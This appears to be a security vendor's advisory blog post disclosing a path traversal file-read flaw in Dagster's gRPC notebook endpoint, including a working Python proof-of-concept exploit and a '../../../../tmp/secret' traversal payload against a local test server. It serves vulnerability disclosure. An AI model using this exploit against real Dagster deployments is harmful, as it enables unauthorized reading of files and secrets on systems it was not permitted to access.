How Cal.com Rebuilt AppSec After Going Closed Source
How Cal.com consolidated noisy security tooling into one continuous, context-aware pull request security program with Gecko.
Gecko Security
An LFI vulnerability was found in Dagsters gRPC server implementation. It exists in the ExternalNotebookData endpoint, which is designed to load notebook data for integration with Dagster workflows.
The issue occurs because the get_notebook_data function performs insufficient path validation, only checking if the file path ends with .ipynb. An attacker with access to the gRPC server can craft requests that include traversal sequences (../) to read arbitrary files by appending .ipynb to any path. The use of os.path.abspath() in the implementation does not prevent directory traversal attacks.
By default, the gRPC server binds to localhost, limiting remote exploitation. However, in custom deployments where the server is bound to external interfaces or in cloud-based deployments, the vulnerability could allow unauthorized file access.
notebook_path field in gRPC requests to the ExternalNotebookData endpoint in server.py:get_notebook_data function in impl.py performs only a simple extension check:open(os.path.abspath(notebook_path), “rb”) call, which opens files based on user-controlled input with insufficient sanitization.<code class="hljs language-bash"><span class="hljs-built_in">echo</span> <span class="hljs-string">"SECRET_DATA_12345"</span> > /tmp/secret.ipynb
</code><code class="hljs language-bash">dagster api grpc --python-file repository.py --host 0.0.0.0 --port 4266
</code><code class="hljs language-python"><span class="hljs-keyword">import</span> grpc
<span class="hljs-keyword">import</span> sys
<span class="hljs-keyword">from</span> dagster._grpc.__generated__ <span class="hljs-keyword">import</span> dagster_api_pb2
<span class="hljs-keyword">from</span> dagster._grpc.__generated__ <span class="hljs-keyword">import</span> dagster_api_pb2_grpc
<span class="hljs-keyword">def</span> <span class="hljs-title function_">exploit_lfi</span>(<span class="hljs-params">host, port, target_file</span>):
<span class="hljs-comment"># create a gRPC channel to the server</span>
channel = grpc.insecure_channel(<span class="hljs-string">f"<span class="hljs-subst">{host}</span>:<span class="hljs-subst">{port}</span>"</span>)
<span class="hljs-comment"># create a stub</span>
stub = dagster_api_pb2_grpc.DagsterApiStub(channel)
<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> target_file.endswith(<span class="hljs-string">".ipynb"</span>):
target_file = target_file + <span class="hljs-string">".ipynb"</span>
<span class="hljs-comment"># create the request</span>
request = dagster_api_pb2.ExternalNotebookDataRequest(notebook_path=target_file)
<span class="hljs-keyword">try</span>:
<span class="hljs-comment"># send the request</span>
response = stub.ExternalNotebookData(request)
<span class="hljs-comment"># print the response</span>
<span class="hljs-built_in">print</span>(response.content.decode(<span class="hljs-string">'utf-8'</span>, errors=<span class="hljs-string">'replace'</span>))
<span class="hljs-keyword">return</span> <span class="hljs-literal">True</span>
<span class="hljs-keyword">except</span> grpc.RpcError <span class="hljs-keyword">as</span> e:
<span class="hljs-built_in">print</span>(<span class="hljs-string">f"RPC Error: <span class="hljs-subst">{e.details()}</span>"</span>)
<span class="hljs-keyword">return</span> <span class="hljs-literal">False</span>
<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
<span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(sys.argv) < <span class="hljs-number">2</span>:
sys.exit(<span class="hljs-number">1</span>)
HOST = <span class="hljs-string">"localhost"</span>
PORT = <span class="hljs-number">4266</span>
target_file = sys.argv[<span class="hljs-number">1</span>]
exploit_lfi(HOST, PORT, target_file)
</code><code class="hljs language-bash">python exploit.py <span class="hljs-string">"../../../../tmp/secret"</span>
</code>The vulnerability allows an attacker with access to the gRPC server to read arbitrary files that the Dagster process has permission to access, as long as the requested path ends with .ipynb. This could potentially expose:
The severity is mitigated by several factors:
However, in non-default configurations where the gRPC server is exposed to untrusted networks or in multi-tenant environments, this could lead to unauthorized access to sensitive information.

Artemiy Malyshau
Co-founder & CTO
Artemiy served in an elite unit of the Austrian Cyber Forces, defending national infrastructure He was then the first employee at a government-backed cybersecurity research group, where he led security projects for Interpol and national governments. At Gecko he builds the platform trusted to sit inside Fortune 500 codebases, and holds it to the standard those governments taught him.
The latest news, technologies, and resources from our team.
How Cal.com consolidated noisy security tooling into one continuous, context-aware pull request security program with Gecko.
Gecko Security
Authorization bypass in n8n’s dynamic-credentials OAuth endpoints allows any authenticated user to operate on another user’s OAuth credential by supplying its ID, enabling unauthorized OAuth rebinding and revocation.
Artemiy Malyshau
An IDOR vulnerability in n8n’s public variables API allows authenticated users to read project variables outside their authorized scope, exposing secrets across project boundaries.
Artemiy Malyshau
Learn API scanning for automated security testing. Find vulnerabilities from broken authentication to business logic flaws in your endpoints.
Artemiy Malyshau
A complete guide to automated pentest tools and best practices. Learn what works, what doesn’t, and how to implement continuous security testing.
Artemiy Malyshau
Compare the best AI-powered application security testing tools. Find which tools detect business logic flaws and broken access control.
Artemiy Malyshau
Occasional updates, new content, and insights. No spam; unsubscribe anytime.